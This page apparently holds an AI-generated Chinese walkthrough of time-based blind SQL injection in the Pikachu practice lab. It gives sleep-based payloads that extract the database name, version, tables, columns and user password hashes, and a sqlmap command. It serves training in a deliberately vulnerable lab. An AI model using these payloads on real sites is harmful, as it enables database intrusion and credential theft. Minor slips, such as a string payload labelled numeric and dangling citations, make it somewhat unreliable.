pikachu靶场时间盲注查找数据库名和版本号,表名,用户名和密码
时间: 2025-06-17 10:12:06 浏览: 12
<think>嗯,用户想在Pikachu靶场里利用时间盲注来获取数据库的信息,包括数据库名、版本号、表名、用户名和密码。首先,我需要回忆一下时间盲注的基本原理。时间盲注主要是通过构造SQL语句,利用如sleep()或benchmark()这样的函数,根据页面响应时间的长短来判断条件是否成立。比如,如果条件为真,页面会延迟响应,否则立即返回。这需要用到if语句,类似if(条件, 真时的操作, 假时的操作)。
接下来,用户需要逐步获取这些信息,我得一步步拆解。首先,确定目标是否存在时间盲注漏洞。通常,测试的时候可以尝试输入一个总为真的条件,比如' and sleep(5)-- ,然后观察响应时间是否延迟,如果有延迟,说明存在漏洞。
然后,获取数据库名和版本号。这通常需要用到database()和version()函数。在时间盲注中,需要逐字符猜解。比如,先测试数据库名的长度,使用length(database())=n,如果延迟,说明长度正确。接着,用substr函数逐个字符猜解,比如substr(database(),1,1)='a',根据延迟判断是否正确。
接下来是表名。这需要从information_schema.tables中查询,指定数据库名,然后逐个猜解表名。同样,先确定表名的长度,再逐个字符猜解。比如,select table_name from information_schema.tables where table_schema=database() limit 0,1,然后substr处理每个字符。
然后是字段名,比如用户名和密码所在的列。需要查information_schema.columns,指定表名,然后猜解列名。比如,column_name from information_schema.columns where table_name='users',同样逐个字符分析。
最后是获取具体的用户名和密码数据。假设已经知道表名是users,字段是username和password,那么构造查询,比如select username from users limit 0,1,再用substr逐个字符获取。
需要注意的是,时间盲注通常需要编写脚本自动化这个过程,手动测试效率太低。用户可能需要使用工具如sqlmap,但根据引用里的例子,用户可能已经了解sqlmap的基本用法,但这里需要手动构造payload。
另外,引用中提到的insert/update注入和HTTP头部注入可能不适用于当前场景,但时间盲注的方法类似。需要确保每一步的条件正确,并且注意payload的正确编码,避免引号或特殊字符被过滤。
可能遇到的问题包括:目标是否有过滤机制,如何绕过;字符集的设置是否影响字符猜解;sleep函数是否被禁用等。需要用户在实际测试中调整payload,比如使用benchmark代替sleep,或者调整时间延迟的长度。
总结步骤:1. 确认时间盲注存在;2. 获取数据库名长度;3. 逐字符猜解数据库名;4. 获取版本号类似;5. 获取表名,逐个表处理;6. 获取字段名;7. 提取数据。每个步骤都需要构造相应的if条件,结合sleep函数,观察响应时间。</think>### Pikachu靶场时间盲注完整操作流程
#### 一、确认时间盲注漏洞存在
输入测试payload(假设注入点为数字型):
```
1' and if(1=1,sleep(5),0)--+
```
若页面响应延迟5秒,则存在时间盲注漏洞[^3]
#### 二、获取数据库名称
1. **确定数据库名长度**
```
1' and if(length(database())=7,sleep(3),0)--+
```
若延迟3秒,说明数据库名长度为7字符(已知pikachu数据库长度为7)[^1]
2. **逐字符爆破数据库名**
```
1' and if(ascii(substr(database(),1,1))=112,sleep(3),0)--+
```
通过修改substr参数依次爆破每个字符,112对应字母"p"的ASCII码,最终得到数据库名为`pikachu`
#### 三、获取数据库版本号
```
1' and if(ascii(substr(version(),1,1))=53,sleep(3),0)--+
```
53对应数字"5",通过循环测试得到完整版本号如`5.7.26`
#### 四、获取表名
1. **确定表数量**
```
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(3),0)--+
```
若延迟则确认存在2个表
2. **爆破第一个表名长度**
```
1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=5,sleep(3),0)--+
```
确认users表长度为5
3. **逐字符爆破表名**
```
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117,sleep(3),0)--+
```
117对应字母"u",最终得到`users`表
#### 五、获取字段名
1. **确定字段数量**
```
1' and if((select count(column_name) from information_schema.columns where table_name='users')=3,sleep(3),0)--+
```
确认存在3个字段
2. **爆破字段名**
```
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(3),0)--+
```
105对应字母"i",最终得到`id`, `username`, `password`字段
#### 六、提取用户密码
1. **确定用户数量**
```
1' and if((select count(username) from users)=5,sleep(3),0)--+
```
确认存在5个用户
2. **爆破用户密码**
```
1' and if(ascii(substr((select password from users limit 0,1),1,1))=48,sleep(3),0)--+
```
48对应数字"0",最终爆破出所有用户的MD5加密密码
#### 自动化工具实现
使用sqlmap快速验证:
```bash
sqlmap -u "http://target.com/vul/sqli/sqli_str.php?name=1" --technique=T --dbms=mysql --batch --dbs
```
添加`--time-sec=3`参数指定延时时间
阅读全文
相关推荐















